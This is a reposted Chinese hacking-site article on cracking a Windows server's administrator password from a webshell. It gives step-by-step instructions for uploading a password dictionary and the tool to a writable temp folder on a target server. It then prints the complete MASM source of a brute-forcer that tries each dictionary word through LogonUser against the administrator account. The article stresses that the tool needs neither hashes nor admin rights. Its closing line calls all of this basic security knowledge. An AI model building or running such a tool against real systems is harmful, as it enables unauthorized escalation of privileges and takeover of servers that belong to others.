Webshell下破解計(jì)算機(jī)管理員密碼
發(fā)表時(shí)間:2023-07-03 來源:明輝站整理相關(guān)軟件相關(guān)文章人氣:
[摘要]軟件作者:taiwansee信息來源:邪惡八進(jìn)制信息安全團(tuán)隊(duì)(www.eviloctal.com)這個(gè)idea源自以前學(xué)runas命令時(shí)候的啟發(fā)。 使用方法: 1、把你的密碼字典改名成psw...
軟件作者:taiwansee信息來源:邪惡八進(jìn)制信息安全團(tuán)隊(duì)(www.eviloctal.com)這個(gè)idea源自以前學(xué)runas命令時(shí)候的啟發(fā)。 使用方法: 1、把你的密碼字典改名成psw.txt后, 上傳到目標(biāo)服務(wù)器的一個(gè)可執(zhí)行、可寫的目錄中。 這里假設(shè)這個(gè)目錄是:c:\windows\temp\ 2、把程序上傳到c:\windows\temp\中, 然后運(yùn)行它。 3、然后就是等待, 過幾分鐘(具體時(shí)間看你的字典大小了)查閱c:\windows\temp\下的result_.txt中的結(jié)果, 如果為空就說明還沒破解完, 另選時(shí)間再回來看。 特點(diǎn): 不需要抓hash, 不需要管理員權(quán)限, ISUR_*用戶就能用, 速度慢(這個(gè)也是特點(diǎn)哦)在測(cè)試機(jī)中的表現(xiàn)是每秒嘗試1800個(gè)密碼左右。 默認(rèn)破解administrator用戶的密碼。 要破其它, 請(qǐng)自行修改代碼。 result_.txt示例:-----------------------------The administrators password is: testerThe program had tried 32653 times! :)Use time:0 hour(s) 0 minute(s) 17.109 second(s),average speed: 1908 times/s.-----------------------------源代碼如下:AdminPassCrack.asm文件 Quote:;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; AdminPassCracker;; By taiwansee 2008.10.23;; 使用 nmake 或下列命令進(jìn)行編譯和鏈接:; ml /c /coff AdminPassCracker.asm; Link /subsystem:windows AdminPassCracker.obj;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> .386 .model flat, stdcall option casemap :none;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; Include 文件定義;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>include windows.incinclude user32.incincludelib user32.libinclude kernel32.incincludelib kernel32.libinclude Advapi32.incincludelib Advapi32.libinclude _TotalTime.asm;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; 數(shù)據(jù)段;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> .constDEBUG equ 0LOGON32_LOGON_NETWORK equ 3LOGON32_PROVIDER_DEFAULT equ 0;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; 數(shù)據(jù)段;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>align 4 .data?hModuleHandle DWORD ?szFileName BYTE MAX_PATH dup(?) .dataszResultFile BYTE result_.txt,0szPswDic BYTE psw.txt,0szDomain BYTE .,0szUserName BYTE administrator,0szResultFileFormat BYTE The administrator,27h,s password is: %s,0dh,0ah BYTE The program had tried %d times! :),0dh,0ah,0szNoDicFileErr BYTE Sorry,dic file not exists.,0szCreateFileMappingErr BYTE CreateFileMapping Error!,0szMapViewOfFileErr BYTE MapViewOfFile Error!,0szNotFound BYTE Password not found! :(,0dh,0ah,0;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; 代碼段;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> .codealign 4_WinMain proc local @hPswDic:DWORD,\ @szPswTmp[MAX_PATH]:BYTE,\ @dwPswDicFileSize:DWORD,\ @hResultFile:DWORD,\ @dwWritten:DWORD,\ @hPswDicFileMap:DWORD,\ @hToken:DWORD,\ @dwTriedTimes:DWORD,\ @szBuf[MAX_PATH]:BYTE,\ @dwContentLength:DWORD,\ @lpPswDic:DWORD,\ @lpNext:DWORD,\ @lpStart:DWORD,\ @dwStart:DWORD ;Create file to record results. invoke CreateFile,offset szResultFile,GENERIC_READ or GENERIC_WRITE,\ FILE_SHARE_READ or FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,\ FILE_ATTRIBUTE_NORMAL,NULL .if eax == INVALID_HANDLE_VALUE jmp _Error_Exit .endif mov @hResultFile,eax;Open Dictionary file. invoke CreateFile,offset szPswDic,GENERIC_READ,\ FILE_SHARE_READ,NULL,OPEN_EXISTING,\ FILE_ATTRIBUTE_NORMAL,NULL .if eax == INVALID_HANDLE_VALUE invoke WriteFile,@hResultFile,offset szNoDicFileErr,sizeof szNoDicFileErr,addr @dwWritten,NULL jmp _Error_Exit .endif mov @hPswDic,eax invoke GetFileSize,@hPswDic,NULL mov @dwPswDicFileSize,eax;**********CreateFileMapping********** invoke CreateFileMapping,@hPswDic,NULL,PAGE_READONLY,0,0,NULL .if eax==NULL invoke WriteFile,@hResultFile,offset szCreateFileMappingErr,\ sizeof szCreateFileMappingErr,addr @dwWritten,NULL jmp _Error_Exit .endif mov @hPswDicFileMap,eax;**********MapViewOfFile********** invoke MapViewOfFile,eax,FILE_MAP_READ,0,0,0 .if eax==NULL invoke WriteFile,@hResultFile,offset szMapViewOfFileErr,\ sizeof szMapViewOfFileErr,addr @dwWritten,NULL jmp _Error_Exit .endif mov @lpPswDic,eax mov @lpNext,eax mov @lpStart,eax invoke GetTickCount ;計(jì)算使用的毫秒數(shù),開始 mov @dwStart,eax xor ecx,ecx ;統(tǒng)計(jì)已經(jīng)分析的字符個(gè)數(shù) xor eax,eax mov @dwTriedTimes,eax ;統(tǒng)計(jì)嘗試的次數(shù) .while TRUE cld mov esi,@lpStart lea edi,@szPswTmp @@: lodsb .if al!=0dh stosb inc ecx .if ecx==@dwPswDicFileSize jmp @F .elseif ecx>@dwPswDicFileSize jmp _NotFound .endif jmp @B .endif @@: add ecx,2 xor eax,eax stosw ;用0結(jié)尾 lea eax,[esi+1] mov @lpNext,eax ;修正到下一個(gè)密碼 push ecx ;保存計(jì)數(shù)值 invoke LogonUser,offset szUserName,offset szDomain,addr @szPswTmp,\ LOGON32_LOGON_NETWORK,\ LOGON32_PROVIDER_DEFAULT,\ addr @hToken .if eax==NULL pop ecx ;恢復(fù)計(jì)數(shù)值 push @lpNext pop @lpStart inc @dwTriedTimes .continue .else pop ecx ;堆棧平衡 .break .endif .endw invoke GetTickCount ;計(jì)算使用的毫秒數(shù),結(jié)束 sub eax,@dwStart mov @dwStart,eax invoke wsprintf,addr @szBuf,offset szResultFileFormat,addr @szPswTmp,@dwTriedTimes invoke lstrlen,addr @szBuf mov @dwContentLength,eax invoke WriteFile,@hResultFile,addr @szBuf,\ @dwContentLength,addr @dwWritten,NULL invoke _TotalTime,addr @szBuf,@dwStart,@dwTriedTimes,NULL invoke lstrlen,addr @szBuf mov @dwContentLength,eax invoke WriteFile,@hResultFile,addr @szBuf,\ @dwContentLength,addr @dwWritten,NULL xor eax,eax inc eax ret_NotFound: invoke GetTickCount ;計(jì)算使用的毫秒數(shù),開始 sub eax,@dwStart mov @dwStart,eax invoke lstrcpy,addr @szBuf,offset szNotFound invoke _TotalTime,addr @szPswTmp,@dwStart,@dwTriedTimes,NULL invoke lstrcat,addr @szBuf,addr @szPswTmp invoke lstrlen,addr @szBuf mov @dwContentLength,eax invoke WriteFile,@hResultFile,addr @szBuf,\ @dwContentLength,addr @dwWritten,NULL_Error_Exit: xor eax,eax ret_WinMain endp;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>start: invoke GetModuleHandle,NULL mov hModuleHandle,eax invoke GetModuleFileName,hModuleHandle,offset szFileName,sizeof szFileName invoke lstrlen,offset szFileName cld mov esi,offset szFileName add esi,eax std@@: lodsb cmp al,5ch jne @B mov byte ptr [esi+2],0 cld invoke SetCurrentDirectory,offset szFileName call _WinMain invoke ExitProcess,NULL;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> end start_TotalTime.asm文件Quote: .dataszResultFormat BYTE Use time:%d hour(s) %d minute(s) %d.%03d second(s),average speed: %d times/s.,0dh,0ah,0 .code;********************************************************; _TotalTime;_lpBuf為調(diào)用者提供的接收結(jié)果緩沖區(qū);_dwTotalTime為總耗時(shí), 一般來說, 前面有;invoke GetTickCount;sub eax,@dwStart;這兩條指令;_dwThingsHappend為在計(jì)時(shí)期間, 關(guān)心的事件發(fā)生的次數(shù);_FutrueExtention為將來拓展用;********************************************************_TotalTime proc _lpBuf,_dwTotalTime,_dwThingsHappend,_FutrueExtentionlocal @dwStart:DWORD,\ @dwMilliseconds:DWORD,\ @dwSecond:DWORD,\ @dwMinute:DWORD,\ @dwHour:DWORD,\ @dwSus:DWORD,\ @AVGSpeed:DWORD mov eax,_dwTotalTime ;時(shí)間換算 xor edx,edx mov ebx,1000 div ebx mov @dwMilliseconds,edx ;毫秒 xor edx,edx mov ebx,60 div ebx mov @dwSecond,edx xor edx,edx mov ebx,60 div ebx mov @dwMinute,edx xor edx,edx mov ebx,24 div ebx mov @dwHour,edx ;計(jì)算平均速度:_dwThingsHappend÷_dwTotalTime xor edx,edx mov eax,_dwThingsHappend ;_dwThingsHappend 也擴(kuò)大1000倍(因?yàn)開dwTotalTime時(shí)間是毫秒數(shù)) mov ebx,1000 mul ebx mov ebx,_dwTotalTime ;把_dwTotalTime的值恢復(fù)到ebx .if ebx!=0 div ebx mov @AVGSpeed,eax .else ;如果_dwTotalTime為0,說明運(yùn)行時(shí)間太少,無(wú)法統(tǒng)計(jì),在這里用_dwThingsHappend作為@AVGSpeed的 push _dwThingsHappend pop @AVGSpeed .endif invoke wsprintf,_lpBuf,\ offset szResultFormat,\ @dwHour,\ @dwMinute,\ @dwSecond,\ @dwMilliseconds,\ @AVGSpeed xor eax,eax inc eax ret_TotalTime endp
上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識(shí),學(xué)習(xí)了安全知識(shí),幾乎可以讓你免費(fèi)電腦中毒的煩擾。